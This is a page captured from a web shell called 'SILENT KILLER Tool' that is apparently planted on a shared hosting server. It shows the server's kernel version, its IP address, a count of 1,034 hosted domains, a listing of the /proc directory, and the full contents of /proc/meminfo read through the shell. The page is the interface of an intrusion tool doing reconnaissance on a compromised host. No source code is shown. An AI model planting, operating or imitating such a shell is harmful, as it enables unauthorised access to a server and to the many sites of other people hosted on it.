SILENT KILLERPanel

Current Path: > > proc


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0555 ]

Files and Folders in: //proc

NameTypeSizeLast ModifiedActions
3744466 Directory - -
4036942 Directory - -
4047369 Directory - -
4059454 Directory - -
4067582 Directory - -
acpi Directory - -
bus Directory - -
driver Directory - -
fs Directory - -
irq Directory - -
kcare Directory - -
lve Directory - -
net Directory - -
scsi Directory - -
self Directory - -
sys Directory - -
sysvipc Directory - -
thread-self Directory - -
tty Directory - -
buddyinfo File 0 bytes August 03 2025 22:46:42.
cgroups File 0 bytes August 03 2025 22:46:42.
cmdline File 0 bytes August 03 2025 22:45:52.
consoles File 0 bytes August 03 2025 22:46:42.
cpuinfo File 0 bytes August 03 2025 22:45:53.
crypto File 0 bytes August 03 2025 22:46:42.
devices File 0 bytes August 03 2025 22:46:42.
diskstats File 0 bytes August 03 2025 22:46:05.
dma File 0 bytes August 03 2025 22:46:42.
execdomains File 0 bytes August 03 2025 22:46:42.
fb File 0 bytes August 03 2025 22:46:42.
filesystems File 0 bytes August 03 2025 22:45:51.
interrupts File 0 bytes August 03 2025 22:46:42.
iomem File 0 bytes August 03 2025 22:46:42.
ioports File 0 bytes August 03 2025 22:46:42.
kallsyms File 0 bytes June 19 2025 08:31:56.
kcore File 140737477890048 bytes June 19 2025 08:31:45.
key-users File 0 bytes August 03 2025 22:46:42.
keys File 0 bytes August 03 2025 22:46:42.
kmsg File 0 bytes August 03 2025 22:46:42.
kpagecgroup File 0 bytes August 03 2025 22:46:42.
kpagecount File 0 bytes August 03 2025 22:46:42.
kpageflags File 0 bytes August 03 2025 22:46:42.
loadavg File 0 bytes August 03 2025 22:45:51.
locks File 0 bytes August 03 2025 22:46:42.
mdstat File 0 bytes August 03 2025 22:46:42.
meminfo File 0 bytes August 03 2025 22:42:56.
misc File 0 bytes August 03 2025 22:46:42.
modules File 0 bytes August 03 2025 22:46:42.
mounts File 0 bytes August 03 2025 22:46:42.
mtrr File 0 bytes June 19 2025 08:31:56.
pagetypeinfo File 0 bytes August 03 2025 22:46:42.
partitions File 0 bytes August 03 2025 22:46:42.
sched_debug File 0 bytes August 03 2025 22:46:42.
schedstat File 0 bytes August 03 2025 22:46:42.
slabinfo File 0 bytes August 03 2025 22:46:42.
softirqs File 0 bytes August 03 2025 22:46:42.
stat File 0 bytes August 03 2025 22:45:50.
swaps File 0 bytes June 19 2025 08:31:43.
sysrq-trigger File 0 bytes June 19 2025 08:31:56.
timer_list File 0 bytes August 03 2025 22:46:42.
uptime File 0 bytes August 03 2025 22:42:56.
version File 0 bytes August 03 2025 22:46:42.
vmallocinfo File 0 bytes August 03 2025 22:46:42.
vmstat File 0 bytes August 03 2025 22:46:05.
zoneinfo File 0 bytes August 03 2025 22:46:42.

Reading File: //proc/meminfo

MemTotal:       106703356 kB
MemFree:         4879960 kB
MemAvailable:   58845976 kB
Buffers:         8611140 kB
Cached:         44582828 kB
SwapCached:         5944 kB
Active:         39547600 kB
Inactive:       48697604 kB
Active(anon):    7104464 kB
Inactive(anon): 37543936 kB
Active(file):   32443136 kB
Inactive(file): 11153668 kB
Unevictable:       48784 kB
Mlocked:           48784 kB
SwapTotal:       8388604 kB
SwapFree:        8293996 kB
Dirty:             13312 kB
Writeback:             0 kB
AnonPages:      35094304 kB
Mapped:          4101392 kB
Shmem:           9606424 kB
KReclaimable:   11424988 kB
Slab:           12702148 kB
SReclaimable:   11424988 kB
SUnreclaim:      1277160 kB
KernelStack:       27824 kB
PageTables:       388264 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:    61740280 kB
Committed_AS:   61380872 kB
VmallocTotal:   34359738367 kB
VmallocUsed:      160688 kB
VmallocChunk:          0 kB
Percpu:           165120 kB
HardwareCorrupted:     0 kB
AnonHugePages:      2048 kB
ShmemHugePages:        0 kB
ShmemPmdMapped:        0 kB
FileHugePages:         0 kB
FilePmdMapped:         0 kB
HugePages_Total:       0
HugePages_Free:        0
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 kB
Hugetlb:               0 kB
DirectMap4k:    14315372 kB
DirectMap2M:    93687808 kB
DirectMap1G:     3145728 kB

SILENT KILLER Tool